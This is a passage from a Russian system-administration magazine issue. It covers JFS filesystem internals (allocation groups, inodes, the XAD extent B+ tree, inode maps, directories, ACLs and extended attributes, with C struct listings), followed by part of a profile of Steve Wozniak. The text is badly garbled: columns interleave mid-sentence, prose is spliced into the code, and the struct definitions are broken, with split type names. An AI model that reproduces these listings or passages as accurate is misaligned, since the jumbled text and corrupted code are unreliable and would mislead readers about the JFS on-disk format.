могли вмещать достаточно большие объекты. Для миними-
зации количества изменений, которые необходимо внести
при расширении или усечении тома (имеется в виду опера-
44
С другой стороны, существует ограничение на минималь-
жающее размер AG в dmap-страницах (4 Кб, от disk map –
дисковая карта), должно быть степенью двойки. Выбранный
исходя из всех этих условий размер записывается в специ-
альное поле суперблока тома.
Том с размером, не кратным размеру AG, будет содер-
жать одну частичную группу размещения. Она обрабаты-
вается так же, как и обычная AG, а несуществующие фи-
зически блоки в карте выделения будут помечены как за-
нятые.
Файлсеты
Как уже говорилось, файлсет есть просто набор именова-
ных файлов и каталогов. Он полностью содержится в преде-
лах одного тома. Заметьте также, что на одном томе может
существовать несколько файлсетов; в этом случае все они
разделяют общий пул свободных дисковых блоков тома.
Каждый файлсет располагает собственной таблицей
inodes и картой их размещения, которая содержит данные
о положении inodes на диске. «Супер-inode», описывающий
эту карту и другую глобальную информацию о файлсете,
расположен в таблице inodes тома и был описан выше.
Inodes в таблице файлсета имеют следующие значе-
ния:
 Нулевой inode зарезервирован.
 Inode 1 содержит дополнительную информацию о файл-
сете, которая не поместилась в структурах, описывае-
мых inodes тома.
 Inode 2 описывает корневой каталог данного файлсета.
Заметьте, что JFS соблюдает общее для файловых сис-
тем UNIX соглашение, когда inode за номером 2 описы-
вает корневой каталог.
 Inode 3 описывает ACL-файл.
 Начиная с четвертого, следуют inodes для обычных объ-
ектов файловой системы – файлов и каталогов.
Структуры данных
Каждый объект JFS описывается inode. Inode содержит спе-
цифичную для объекта информацию, например, времен-
ные штампы и тип файла (регулярный, каталог, или др.).
Он также «содержит» B+ дерево для отслеживания поло-
жения экстентов. Примечательно, что все метаданные JFS
(за исключением суперблока) представлены в виде фай-
лов. Благодаря использованию структуры inode для описа-
ния размещения этих данных, их положение на диске мо-
жет быть изменено в новых версиях JFS без внесения из-
менений в код.
Экстенты
Файл размещается на диске в виде группы экстентов. Эк-
стент может иметь длину от 1 до (224-1) блоков тома; сле-
довательно, большие экстенты охватывают несколько AGs.
Экстенты индексируются в B+ дереве для улучшения про-
изводительности операций поиска и вставки.
Для однозначного определения экстента необходи-
мо знать всего 2 параметра: номер его стартового бло-
ка и длину.
 администрирование
Основанная на экстентах ФС, предоставляющая поль- /*
* on-disk inode : 512 bytes
зователю возможность задавать размер блока, по идее *
почти не подвержена внутренней фрагментации. Пользо- * note: align 64-bit fields on 8-byte boundary.
*/
ватель может сконфигурировать том с маленьким разме- struct dinode {
ром блока (минимально – 512 байт) для уменьшения внут-
/* 1. Базовая четверть – POSIX атрибуты. 128 байт. */
ренней фрагментации при работе с большим количеством
мелких файлов. /* признак принадлежности inode к конкретному
* файлсету */
Вообще говоря, драйвер JFS старается размещать фай- __le32 di_inostamp;
лы в как можно меньшем количестве экстентов, что позво- __le32 di_fileset; /* номер файлсета */
__le32 di_number; /* номер inode */
ляет формировать длинные I/O-запросы к диску, которые __le32 di_gen; /* номер поколения inode */
(как на запись, так и на чтение) выполняются гораздо бо-
pxd_t di_ixpxd; /* дескриптор inode-экстента */
лее эффективно, чем группа коротких. Однако это не всег-
да возможно. К примеру, copy-on-write клонирование сег- __le64 di_size; /* размер объекта */
__le64 di_nblocks; /* количество выделенных блоков */
мента файла вызовет деление протяженного экстента на
несколько более коротких. Другой пример – ограничение __le32 di_nlink; /* счетчик ссылок на объект */
размера экстента. Он может быть лимитирован при обра- __le32 di_uid; /* UID владельца */
ботке сжатых файлов – так как драйвер должен прочитать __le32 di_gid; /* GID владельца */
в память весь экстент и разжать его. Имея в своем распо- __le32 di_mode; /* атрибуты, формат, разрешения */
ряжении ограниченный объем памяти, драйвер JFS должен
/* время последнего доступа */
быть уверен, что разжимаемые данные не выйдут за пре- struct timestruc_t di_atime;
делы доступного региона. /* время последней модификации атрбутов */
struct timestruc_t di_ctime;
Утилита для дефрагментации избавляет пользовате- /* время последней модификации данных */
ля от роста внешней фрагментации, которая возникает struct timest
/* время создания */
из-за динамического выделения/освобождения экстен- struct timestruc_t di_mtime;ruc_t di_otime;
тов переменной длины. Результат этого процесса – по-
dxd_t di_acl; /* ACL-дескриптор */
явление разбросанных по всему диску свободных экс-
тентов разного размера. Defragment-программа произво- dxd_t di_ea; /* EA-дескриптор */
дит объединение множества мелких свободных экстен- /* следующий доступный индекс в dir_table */
тов в один большой. __le32 di_next_index;

__le32 di_acltype; /* тип ACL */

Inodes
/* 2,3,4. Четверти расширений. */
Дисковый inode JFS занимает 512 байт и содержит 4 базо- union {
вых группы данных (четверти). Первая группа хранит POSIX- struct {
/* Таблица directory-слотов. */
атрибуты JFS-объекта, вторая – дополнительные атрибуты struct dir_table_slot _table[12];
(данные для работы с VFS, специфичную для ОС информа- /* Корень дерева каталогов */
dtroot_t _dtroot;
цию и заголовок B+ дерева). Третья группа содержит либо } _dir;
дескриптор экстента корневого узла B+ дерева, либо встро-
struct {
енные данные, четвертая – расширенные атрибуты, встро- union {
енные данные или дополнительные дескрипторы экстентов. /* не используется */
u8 _data[96];
Структура дискового inode определена в файле jfs_dinode.h struct {
как структура dinode (см. листинг). /* не используется */
void *_imap;
В JFS inodes размещаются динамически, что дает не- /* generator */
сколько преимуществ по сравнению со статическим подхо- __le32 _gengen;
} _imap;
дом. Дисковый блок под inode может быть размещен по лю- } _u1;
бому адресу, что развязывает номер inode с его координа- union {
/* корень дерева экстентов */
тами. Это упрощает изменение размера тома. Inodes мо- xtpage_t _xtroot;
гут быть перемещены без их перенумерации, что избавля- struct {
/* не используется */
ет JFS от необходимости вникать в структуру каталогов при u8 unused[16];
перемещении inode. Эта развязка также необходима для /* EA-дескриптор */
dxd_t _dxd;
поддержки клонирования файлсетов, обязательной для со- union {
ответствия стандарту DFS. /* [minor:major] */
__le32 _rdev;
С другой стороны, это порождает и проблемы. При ста- /* имя для symlink */
тическом размещении геометрия файловой системы явно u8 _fastsymlink[128];
} _u;
описывается положением inodes на диске, с динамическим /* встроенные EAs *
же размещением требуются отдельные картирующие струк- u8 _inlineea[128];/
} _special;
туры. Из-за накладности репликации этих структур дизай- } _u2;
неры JFS решили смириться с риском потери метаданных. } _file;
} u;
Однако JFS журналирует B+ деревья, что позволяет в слу- };
чае сбоя без особого труда отыскивать эти карты.

№8, август 2006 45

 администрирование
 len – 24-битное поле, содержащее длину экстента в бло-
ках.
 addr1,addr2 – 40-битный адрес экстента.

XAD описывает 2 абстрактных диапазона: физичес-

кий, относительно всего тома, и логический – относи-
тельно файла, которому принадлежит экстент. JFS под-
держивает одну generic-структуру B+ дерева для всех ин-
дексируемых объектов. Меняется только формат листо-
вых узлов. В дереве дескрипторов выделенных экстен-
тов (свое для каждого файла) ключами являются их ло-
гические смещения.
Нижняя часть второй четверти дискового inode содер-
жит маркер, который указывает, что хранится во второй по-
ловине inode, которая может содержать встроенные сырые
данные – если файл достаточно мал, или корневой узел
B+ дерева экстентов – если файл в inode не помещает-
ся. Заголовок узла описывает, сколько XAD использовано
и сколько еще доступно. Вообще говоря, если данные фай-
ла расположены в восьми или менее экстентах, то корень
дерева будет содержать просто до 8 XAD-структур, пред-
ставляя из себя листовой узел. Иначе эти восемь XAD бу-
дут указывать на дополнительные листовые или внутрен-
ние узлы дерева.
Как только 8 XAD-структур в третьей четверти inode за-
полнятся, драйвер JFS сделает попытку разместить допол-
XAD описывает 2 абстрактных диапазона нительные XAD в четвертой четверти. Если бит INLINEEA
На диске inodes размещаются в виде inode-экстентов, (см. ниже) в поле di_mode дискового inode установлен, пос-
представляющих собой массивы inodes. По определению ледняя его четверть доступна.
такой экстент содержит 32 inodes и, следовательно, занима- Когда все возможные XAD-структуры в inode исполь-
ет 16 Кб. При размещении нового inode-экстента он не за- зованы, B+ дерево разбивается. JFS выделяет 4 Кб диско-
полняется нулями. Для того чтобы проверить, используется вого пространства для листового узла дерева (в термино-
ли данный inode, fsck смотрит на его счетчик ссылок. логии JFS любой регион дискового пространства разме-
Для поиска inodes на диске служат карты размещения ром 4 Кб именуется страницей; в дальнейшем вы увидите,
inodes (см. ниже). что несмотря на обилие «промежуточных» сущностей – ти-
па блока раздела и блока тома, JFS оперирует в основном
B+ деревья экстентов со страницами; вероятно, это связано с особенностями под-
Дескриптор выделенного экстента (структура xad_t из фай- системы управления памятью AIX и OS/2), который являет-
ла jfs_xtree.h, далее просто XAD) описывает экстент и имеет ся просто массивом XAD-структур с заголовком, содержа-
2 дополнительных поля для использования в файлах: offset – щим указатель на первый свободный XAD. Далее 8 XAD ко-
логическое смещение от начала файла и поле флагов: пируются из inode в лист, заголовок инициализируется ука-
зателем на 9-й XAD. Затем JFS обновляет корень дерева –
/* первую XAD-структуру в inode. Она теперь будет указывать
* Дескриптор выделенного экстента (XAD)
*/ на вновь размещенный лист. Также обновляется заголо-
typedef struct xad { вок корневого узла – ведь теперь он содержит только один
unsigned flag:8; /* флаги */
unsigned rsvrd:16; /* зарезервировано */ XAD. Маркер во второй четверти inode теперь показывает,
unsigned off1:8; /* смещение в блоках */ что inode содержит чистый корень B+дерева.
__le32 off2; /* смещение в блоках */
unsigned len:24; /* длина в блоках */ По мере добавления новых экстентов к файлу их де-
unsigned addr1:8; /* адрес в блоках */ скрипторы будут вставляться в тот же самый листовой
__le32 addr2; /* адрес в блоках */
} xad_t; узел, пока он не заполнится. Когда это происходит, выде-
ляются еще 4 Кб дискового пространства для нового лис-
 flag – 8-битное поле, содержащее различные флаги, на- та, а в inode добавляется еще один XAD, указывающий на
пример, бит copy-on-write, если экстент размещенный, этот узел. Так продолжается до тех пор, пока все 8 XAD-
но не записываемый, данные для компрессии и т. д. структур в корневом узле (в inode) не будут использованы.
 rsrvd – 16-битное поле, зарезервированное для буду- В этом случае размещается внутренний узел дерева раз-
щего использования. Всегда ноль. мером 4 Кб, в который будут скопированы 8 XAD из inode.
 off1,off2 – 40-битное поле, выражающее логическое Корневой узел же полностью создается заново и на выхо-
смещение первого блока экстента от начала файла де содержит лишь один XAD, указывающий на вновь раз-
в блоках. мещенный внутренний узел.

46
 администрирование
В файле jfs_xtree объявлена струк- ка журналирования битовых карт при- Механизм журналирования карт
тура xtpage, описывающая заголовок меняется сейчас в reiser4). размещения inodes аналогичен меха-
корня B+дерева. низму защиты битовых карт блоков
В jfs_btree.h есть структура btpage, Выделение inodes и предусматривает наличие рабочего
формат которой соответствует виду При динамическом размещении inodes и постоянного экземпляров карты.
заголовков внутренних и листовых уз- их номера более не привязаны к поло- Каждая страница IAG имеет конт-
лов дерева. жению на диске, и это порождает ряд рольную секцию, содержащую обоб-
проблем, для решения которых было щающую карту inodes. Она использу-
Карта выделения блоков необходимо ввести дополнительные ется для улучшения производитель-
Карта выделения блоков использует- структуры данных: ности процесса поиска. Каждый бит
ся для отслеживания состояния (вы-  Прямой поиск – по номеру inode такой карты отображает состояние 32
делен/свободен) блоков тома. Так как найти его на диске (например, при inodes и сбрасывается, если все они
все файлсеты используют общий пул открытии файла). свободны.
дисковых блоков, они используют и об-  Обратный поиск – по номеру бло- Кроме того, IAG содержит 128 де-
щую карту. ка найти ближайшие свободные скрипторов inode-экстентов, на кото-
Логически эта карта представля- inodes (при размещении новых рые также имеется обобщающая карта.
ет собой файл, описываемый вторым inodes). Один ее бит отображает состояние од-
inode тома. При форматировании раз-  Поиск свободных номеров ного inodes-экстента и будет сброшен,
дела выделяется место сразу под всю inodes – для размещения нового если экстент полностью свободен.
карту, она может менять свой раз- inode-экстента необходимо найти
мер только в случае увеличения/усе- 32 последовательных не занятых Список свободных
чения тома. номера inode. inodes AG
Карта состоит из трех типов 4-кило- Этот список решает проблему обрат-
байтных страниц – контрольная bmap- Карта размещения inodes ного поиска. Так как количество AGs
страница (от block map – блочная кар- Карта размещения inodes решает про- на томе ограничено и заранее извес-
та), контрольные dmap-страницы и сы- блему прямого поиска. Каждый фай- тно, то и количество заголовков этих
рые dmap-страницы. Сырые dmap- лсет тома поддерживает собственную списков также предопределено. За-
страницы содержат по одному биту карту, которая является динамическим головок списка свободных inodes со-
на каждый блок; если бит установлен – массивом групп размещения inodes держится в контрольной (первой) стра-
блок выделен, если сброшен – свобо- (Inode Allocation Group – IAG). Эта кар- нице карты размещения inodes. I-тый
ден. Структуры всех типов страниц оп- та физически расположена в файле, элемент этого массива будет заголов-
ределены в jfs_dmap.h. Не трудно до- описываемым «супер-inode» из таб- ком для двусвязного списка всех IAGs,
гадаться, что контрольная bmap-стра- лицы тома. имеющих свободные inodes. Номер
ница представляет собой корень де- Каждая IAG имеет 4 Кб в размере IAG используется в качестве индекса,
рева, контрольные dmap – его внут- и описывает 128 inode-экстентов. Так значение -1 указывает на конец спис-
ренние узлы, а сырые dmap – листья. как каждый inode-экстент содержит 32 ка. Каждая контрольная страница со-
Высота дерева зависит от размера то- inodes, IAG фактически адресует 4096 держит указатели на голову и хвост
ма. По умолчанию оно имеет 3 уровня inodes. IAG может существовать в лю- списка.
(и может описывать 243 блоков), одна- бом месте тома, однако все описыва- Вставка и удаление из списка сво-
ко, если таковое их количество не тре- емые ею экстенты должны принадле- бодных inodes AG происходит в его го-
буется, inode блочной карты будет опи- жать одной AG, и эта группа прикреп- лове. Вставка происходит, например,
сывать разреженный файл с «дыра- ляется к AG до тех пор, пока хотя бы при размещении нового inode-экстента
ми» на месте первой страницы каждо- один ее inode используется. Как только или при удалении inode из полностью
го из неиспользуемых уровней (напом- все inodes освобождены, новые inodes занятого экстента. В случае, когда все
ню, что «дырой» называется экстент, могут размещаться в любой другой AG. inode-экстенты конкретной IAG запол-
не имеющий дискового воплощения, Формат IAG определен как struct iag няются, она удаляется из списка.
т.е. поле адреса такого экстента будет в jfs_imap.h. Этот список не журналируется.
неопределено). Первая 4-килобайтная страница В случае сбоя он реконструируется
JFS использует особую стратегию карты является контрольной и содер- fsck. Структура списка определена как
фиксации для обеспечения надежного жит общую информацию о ней. Логи- struct dinomap в jfs_imap.h.
внесения обновлений в управляющие чески карта размещения inodes являет-
структуры. Для этого JFS поддержи- ся массивом структур типа struct iag. Список свободных
вает 2 битовые карты в каждой dmap- Физически карта inodes расположе- экстентов AG
странице – рабочую и постоянную. Ра- на в файле, описываемом специаль- Этот список помогает решить пробле-
бочая карта отражает текущее состоя- ным inode из таблицы файлсета. Стра- му обратного поиска и поиска свобод-
ние блоков, а постоянная – зафиксиро- ницы этого файла размещаются и ос- ных номеров inodes. Каждый файлсет
ванное. При освобождении блока пер- вобождаются по необходимости, с при- имеет свой список свободных inode-
вой обновляется постоянная карта, при менением стандартного механизма ин- экстентов на каждую AG. Количество
выделении – рабочая (похожая техни- дексирования через B+ дерево. заголовков этих списков, хранящихся

№8, август 2006 47

 администрирование
в контрольной странице карты разме-
щения inodes, ограничено количеством
AGs. I-тый элемент списка будет заго-
ловком для двусвязного списка всех
IAGs, имеющих свободные inode-эк-
стенты. Номер IAG используется как
индекс в этом массиве, -1 указывает
на конец списка.
Когда все inodes в экстенте удаля-
ются, его дисковые блоки освобожда-
ются, а номер IAG, содержащий этот
экстент, вставляется в голову списка
свободных inode-экстентов. При раз-
мещении новой IAG происходит то же
самое. Когда все inode-экстенты в IAG
занимаются, эта IAG удаляется из спис-
ка. Если все inode-экстенты в IAG ос-
вобождаются, IAG вырезается из это-
го списка и вставляется в список сво-
бодных IAGs (см. ниже).
Э та таблица не ж урна лирует-
ся, ее формат определен в структуре
dinomap в файле jfs_imap.h.
Список свободных IAGs
Эта таблица решает проблему поиска
свободных номеров inodes. Ее структу-
ра более проста: она содержит прос-
то список номеров полностью свобод-
ных IAGs. Его заголовок является по-
лем в inode тома, который описывает
данный файлсет.
IAG Free next
Этот счетчик помогает решить пробле-
му поиска свободных номеров inodes
и позволяет JFS находить номер для
вновь размещаемой IAG. Этот счет-
чик расположен в контрольной страни-
це карты размещения inodes. Однаж-
ды размещенная IAG никогда не уда-
ляется.
«Супер-inodes»
Inode тома, описывающие конкретные
файлсеты являются inodes особого ти-
па и содержат специфическую инфор-
мацию в последних двух четвертях
вместо нормальных для inode данных.
Они отслеживают дисковое местопо-
ложение карты размещения inodes
в своем B+ дереве.
Файл
Файл представлен inode, содержащим
корень B+ дерева, в котором, по логи-
ческому смещению от начала файла,
проиндексированы экстенты, содер-
жащие данные этого файла.
48
Символическая ссылка тентов (указывают на узлы дочерних
Символическая ссылка представлена уровней). Листовые узлы хранят мас-
inode, поле di_mode которого содержит сивы полных имен (ключ) и номеров
установленный флаг S_IFLNK. Полный inodes(данные).
путь к файлу, на который указывает Внутренние и листовые узлы B+
ссылка, хранится прямо в inode. Если дерева каталога занимают страни-
строка с путем в inode не помещается, цу в 4 Кб. Так как многие каталоги
под нее выделяется один или несколь- не столь велики, подобная схема хра-
ко экстентов, обработка которых про- нения приводит к потере дискового
исходит по стандартному для регуляр- пространства. Для решения этой про-
ных файлов сценарию. блемы была введена следующая схе-
ма выделения:
Каталог 1. Изначально элементы каталога
Каталог – это журналируемый файл хранятся в области встроенных
с метаданными JFS. Он состоит из эле- данных в inode.
ментов каталога, которые описывают 2. Когда эта область переполняется,
содержащиеся в нем объекты. Каж- JFS выделяет под листовой узел 1
дый такой элемент связывает имя объ- блок тома.
екта с соответствующим ему номером 3. Когда этот блок переполняется, JFS
inode. Для увеличения производитель- пытается увеличить его размер в 2
ности поиска по каталогу элементы раза (если он еще не равен 4 Кб);
проиндексированы по имени с помо- если места вокруг текущего экс-
щью B+ дерева. тента не хватает, выделяет новый
Поле di_size в описывающем ката- экстент и копирует в него данные,
лог inode содержит количество листо- не забывая внести изменения в ро-
вых узлов B+дерева, которым проин- дительский узел.
дексированы элементы каталога. Если 4. Если этот новый экстент вновь за-
все содержимое каталога умещается полняется и его размер еще не до-
в одном листе, то он будет полностью стиг 4 Кб, повторяется шаг 3. Если
храниться в inode, а di_size=256. нет – размещается новый лист. Все
Каталог в JFS не хранит на дис- выделяемые впоследствии листо-
ке 2 специфичных элемента – указа- вые узлы будут размером 4 Кб.
тели на себя («.») и на родительский 5. Когда все элементы в листовой
каталог («..»). Они представлены по- странице освобождаются, эта стра-
лями в самом inode: указатель на се- ница удаляется из дерева. Содер-
бя – это просто номер inode каталога, жимое каталога будет упаковано
а указатель на родителя – поле idotdot, обратно в inode только когда все
содержащее структуру dtroot, опреде- его элементы будут удалены.
ленную в файле jfs_dtree.h.
Inode каталога содержит корень ACL
своего B+ дерева, подобно регуляр- ACL, связанные с каждым inode в JFS,
ному файлу. Ключом в этом дереве представляют различные свойства
является хэш имени объекта, листо- объекта, например, разрешения, иден-
вые узлы содержат элементы катало- тификаторы пользователя или группы.
га, состоящие из полного имени и но- ACL-поля в inode из таблицы тома иг-
мера inode. норируются.
Так как элементы каталога могут Несмотря на то что фиксированных
быть разного размера, JFS нуждает- требований к дисковому или in-memory-
ся в особой схеме их обработки. Для их формату списков контроля доступа
хранения используются так называе- не существует, JFS использует струк-
мые directory-слоты – структуры фик- туру, определенную стандартом DFS.
сированного размера, имеющие поля ACL органичен в размере и должен
для номера inode и имени. Если имя помещаться в 8-килобайтную струк-
в один слот не помещается, выделя- туру dfs_acl.
ется следующий – с тем же номером Любой объект JFS может быть ас-
inode. Внутренние узлы дерева состо- социирован с ACL, который будет уп-
ят из двух частей: массива сжатых суф- равлять дискретным доступом к это-
фиксов имен (используется как ключ) му объекту. Каталоги могут иметь до
и таблицы простых дескрипторов экс- двух ACL, которые инициализируются

во время создания объекта: ACL ка-
талога и файловый ACL. Если есть,
файловый ACL будет применяться
при доступе к любому файлу этого ка-
талога.
Для хранения массива ACL JFS ис-
пользует специальный файл (в каж-
дом файлсете), который структуриро-
ван так: за каждыми 8 Мб ACL следует
4-килобайтная битовая карта занятос-
ти ACL. ACL-файл журналируется.
Расширенные атрибуты
Расширенные атрибуты (Extended
Attributes – EAs) – это generic-меха-
низм хранения и доступа к данным,
прикрепленным к объектам JFS. EAs
хранятся непрерывно в пространстве
расширенных атрибутов (Extended
Attribute Space – EAS), как определе-
но EA-дескриптором в inode объекта
JFS. EA-дескриптор – это просто де-
скриптор экстента, описанный в фай-
ле jfs_types.h, в структуре dxd_t.
EA может храниться в области
встроенных данных в inode или в отде-
льном экстенте. Поле flags в дескрип-
торе EA имеет индикатор способа хра-
нения. Т.к. область встроенных данных
№8, август 2006
inode также может быть использована
под дополнительные xad, поле di_mode
в inode будет индикатором доступности
этого пространства. INLINEEA-бит бу-
дет установлен, если оно доступно.
Элемент EA содержит имя атрибу-
та и его значение. Для доступа к кон-
кретному атрибуту JFS просто линей-
но ищет его в экстенте. Расширен-
ные атрибуты не журналируются (ес-
ли они хранятся не в inode), но пишут-
ся на диск синхронно.
Потоки
Потоки (streams) в JFS используют-
ся для прикрепления дополнительных
именованных данных к файлам и ката-
логам. Из-за ограничений интерфейса
VFS, в Linux-версии JFS-потоки не под-
держиваются и здесь упоминаются
только для полноты картины.
Вторая четверть дискового inode
имеет поле для хранения дескрипто-
ра потока. Так как количество при-
крепленных к объекту потоков может
меняться, дескриптор потока содер-
жит просто номер inode, описывающий
файл со списком номеров inodes вто-
рого уровня. Эти inodes описывают не-
администрирование
посредственно данные потока. Потоки
не журналируются.
Заключение
Архитектура и реализация JFS отлича-
ются большим своеобразием, на фо-
не других файловых систем Linux она
выглядит «белой вороной». Это обус-
ловлено тем, что JFS изначально про-
ектировалась для очень далекой от
UNIX OS/2. Вероятно, IBM не смогла
до конца решить одну из поставленных
при разработке второй версии этой ФС
задач, – создание хорошо переноси-
мой ФС, – в среде Linux ее производи-
тельность не идеальна.
Но, несмотря на некоторые недо-
четы в работе, JFS была и остается
очень стабильной файловой систе-
мой, а ее дизайн представляет чис-
то академический интерес – как и ус-
тройство любого программного про-
дукта, сработанного в недрах «голу-
бого гиганта».
1. www.ibm.com/developerworks.
2. www.jfs.sourceforge.net.
3. Исходные тексты драйвера JFS для
Linux-2.6.16.
49
 человек номера
Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки
и сам создает их.
Украинский маг
Ему 56 лет, и он похож на Страшилу
Мудрого, почти достигшего пенсион-
ного возраста, но не утративший аван-
тюрной жилки. Надеюсь, знаменито-
го Стива Возняка, одного из создате-
лей компьютера Apple, не обидит такое
сравнение. В интервью американско-
му изданию он как-то сказал: «Не мо-
гу понять, почему, несмотря на то,
что всю жизнь я занимался совершен-
но тривиальными вещами – был хоро-
шим инженером, да просто делал то,
что хочется, – некоторые люди счита-
ют меня героем, особенным челове-
ком!» На что журналист резонно за-
метил: детям нужны герои как пример
для подражания. И Стив согласился,
что «сотворить себе кумира» – в при-
роде человека.
50
Я же настаиваю на том, что Woz,
как называют легендарного основате-
ля Apple, имеет непосредственное от-
ношение к моей любимой сказке «Вол-
шебник Изумрудного города». Амери-
канцам эта сказка известна не в интер-
претации Волкова, а в изложении Бау-
ма, под названием Wizard of Oz. Меж-
ду тем прозвище Стива – Wizard of Woz.
Можно, конечно, объяснить это имя се-
рьезно, без улыбки, ведь одно из значе-
ний слова «wizard» в английском язы-
ке – специалист своего дела. Зато дру-
гой, более известный перевод – «маг,
волшебник». И, глядя на Стива, легко
поверить, что он вот только что гулял
по лесам, окружающим Изумрудный
город. Прибавьте легкую украинскую
нотку во внешности и происхождении.
Мистер Возняк сам признался в неболь-
шом интервью, что его фамилия имеет
украинские корни. Посмотрите в лю-
бой справочник, и он подтвердит: «Воз-
няк» – «возница, кучер, ямщик», причем
в данном случае фамилия выдает про-
фессию отца, то бишь какого-то даль-
него предка американца Возняка.
Свои славянские корни «волшеб-
ник Изумрудного города» вспомнил,
и за это ему спасибо, в лучшие време-
на, когда заработал немало денег и за-
нялся благотворительностью. В Интер-
нете, в материалах, посвященных био-
графии Стива, его музыкальная, об-
разовательная и благотворительная
деятельность оценивается как нечто
экстравагантное. Биографы удивле-
ны: человек делал компьютеры, биз-
нес имел, богател и вдруг – ни с того,
ни с сего – заскучал, стал организа-

тором рок-фестивалей, в 1987 году –
спонсором первого в СССР советско-
американского рок-концерта. Позже,
в 1990 году, на деньги Стива Возня-
ка в Советский Союз поставляли ком-
пьютеры для школ. И сегодня Стив на-
строен исключительно пророссийски.
В июне этого года он с удовольствием
приехал на первую в Москве выстав-
ку «Interop» и на пресс-конференции
подробно объяснял, как относятся его
соотечественники к России: «Воспри-
ятие России стало в целом очень хоро-
шим. Мы надеемся, что вы будете на-
шими хорошими друзьями в будущем.
Правда, в последнее время я наблю-
даю большой разброс мнений. Такого
не было раньше никогда! Просто уди-
вительно, как много людей отверну-
лись от вашей страны. И одновременно
я встречаю много друзей России, это те
люди, которые не согласны с полити-
кой Соединенных Штатов Америки.
Увы, противники дружбы с россиянами
не хотят сдаваться даже сейчас, когда
мы знаем о том, что Россия и Франция
поступают правильно. Они не отка-
жутся от своих отрицательных убеж-
дений… Мне очень неприятно, когда
люди в моей стране говорят о России
как о плохом партнере! К сожалению,
это не так просто исправить». Стивен
помрачнел. И добавил уже с энтузиаз-
мом: «Но бизнес открыт! Как никогда
раньше. И это уже хорошо».
На пресс-конференции все воп-
росы достались изобретателю Apple.
Остальные участники встречи с жур-
налистами даже как-то заскучали, по-
няв, что они практически не интересуют
СМИ. А вот я никак не решалась спро-
сить то, что интересовало меня. Осо-
бенно когда пошли специфические тех-
нические вопросы по поводу информа-
ционной безопасности. Подошла после
официального общения, когда Возняка
окружили поклонники с просьбой об ав-
тографе и фотографии на память.
– Вы верите в сказки?
– Во что? – искренне удивился
Стив.
– В сказки… – робко повторила я.
Ура, я не ошиблась. Верит! Прав-
да, сказкой Возняк считает и видео-
игры, которые появились еще до ком-
пьютерных, и научную фантастику.
И еще, «волшебник Воз» тут же ого-
ворился: «Верю в сказки, но, конеч-
но, не так, как маленькие дети, кото-
№8, август 2006
Стивен Возняк
Родился 11 августа 1950 г. в штате Ка-
лифорния, США. В 1976 году вместе со
Стивом Джобсом создан фирму «Apple
Computer». В середине 70-х компания вы-
пустила Apple I и Apple II. В 1980 году осно-
ватели Apple Computers стали миллионера-
ми. После аварии самолета в феврале 1981
года Стивен снова стал студентом Кали-
форнийского университета, который бро-
сил в 1975 году. В 1985 году покинул род-
рые увлечены сказочным сюжетом, за-
хвачены им».
Яблочный бум
Однако, если верить фактам, жизнь
Возняка состоит из сказочных по-
воротов, которые меняли его судь-
бу. А он, баловень фортуны, актив-
но сопротивлялся и не желал идти
проторенными дорогами. С детства
он лелеял две мечты, и о них сегод-
ня знает весь мир: «Стать инженером
и учить детей». В середине 70-х Воз-
няк бросил университет, начал рабо-
тать на «Hewlett-Packard» и параллель-
но совместно с Джоном Дрейпером
сконструировал «голубую коробку» –
миниатюрный аппарат, который позво-
лял незаконно подключаться к телефо-
ну и бесплатно звонить в любой уголок
мира. Не слишком нравственное заня-
тие? Стив никогда не был пай-мальчи-
ком, но и злодеем его назвать нельзя.
Дрейпер вспоминает, что «первый, ко-
му позвонил Воз, был папа. Воз хотел
получить отпущение грехов». К тому
же особой выгоды из своего изобрете-
ния Возняк не мог извлечь. Или не хо-
тел? В этот момент судьба послала
ему… нет, не ангела-хранителя, а друга
и по совместительству менеджера на
долгие годы. Тезка Стив Джобс за не-
сколько лет до встречи с Возняком то-
же бросил вуз и был в поиске… собс-
твенного «я». Так же, как и Воз, Джобсу
полюбилась компания молодых людей,
компьютерных фанатов в Пало Альто,
Калифорния, называвших себя Ком-
пьютерный клуб «Home-brew» (в пе-
реводе с английского – «домашнее
пиво»). Джобс считает, что в то время
он был инженером «примерно такого
же уровня, как Воз», но у Стива Джоб-
са были способности менеджера, и он
предложил Возняку работать вместе
для того, чтобы продавать его изобре-
человек номера
ную компанию Apple. В 1997 году вернулся
в Apple в качестве консультанта.
В декабре 2001 года Стивен Возняк
вошел в состав совета директоров старт-
апа – компании Danger Inc. (http://www.
danger.com), занимающейся производс-
твом карманных интернет-компьютеров. В
2002 году Возняк создал компанию Wheels
of Zeus («Колеса Зевса»). В 2006 году стал
основателем новой компании «Acquicor
Technology».
тения. Apple I Возняк и Джобс придума-
ли в доме Джобса, а прототип создали
в гараже Джобса. Джобс сумел угово-
рить местного продавца электроники
заказать им 25 машин. Чтобы собрать
деньги, необходимые для производс-
тва такого количества «Apple», Джобс
и Возняк были вынуждены продать
свои самые ценные вещи – Фолькс-
ваген Джобса и научный калькулятор
НР Возняка. Они выручили 1300 дол-
ларов. С этим первоначальным капи-
талом и кредитом наладили серийное
производство. Следом за этим Воз-
няк бросил НР и стал вице-президен-
том, ответственным за исследование
и развитие новой компании, назван-
ной «Apple Computers». Биограф Сти-
ва Возняка Маниш Стривастава счита-
ет, что имя «Apple» появилось, потому
что два Стива вспомнили название за-
писывающей компании знаменитой ли-
верпульской четверки «Битлз», а воз-
можно, Джобс просто был под впечат-
лением того лета в Орегоне, когда ему,
безработному, пришлось наняться со-
бирать яблоки.
Началась сказка – доходы, быстро
растущие в цене акции, популярность,
награды, в их числе Национальная ме-
даль по технологии, врученная самим
президентом США. Пять лет Apple II
оставался бестселлером на рынке
компьютеров. Шеф-редактор IT-из-
даний «СК Пресс» Рубен Герр счита-
ет, что «основная причина успеха бы-
ла в «происхождении» – его «предок»
был сделан для «самодельщиков», та-
ким он в значительной мере и оста-
вался. Компьютер никогда не был и,
вероятно, никогда не будет закончен-
ным изделием, особенно персональ-
ный. Apple II можно было достраивать,
дооснащать, словом, переделывать
по вкусу. Конкурирующие машины та-
кими свойствами не обладали, гнезд
51
 человек номера
для плат расширения в них не предус-
матривалось».
В 1982 году Возняк попал в ава-
рию, был серьезно ранен, потерял па-
мять – не мог вспомнить, кто был у не-
го в больнице накануне, разучился иг-
рать в компьютерные игры и совер-
шенно не мог восстановить подробнос-
ти аварии. Память вернулась, и Стив
вдруг осознал, что надо жить. Он по-
бежал заканчивать университет, в пер-
вый раз женился. В Apple Стив вернул-
ся позже, но все же вернулся. Судьба,
упрямо желавшая, чтобы он все де-
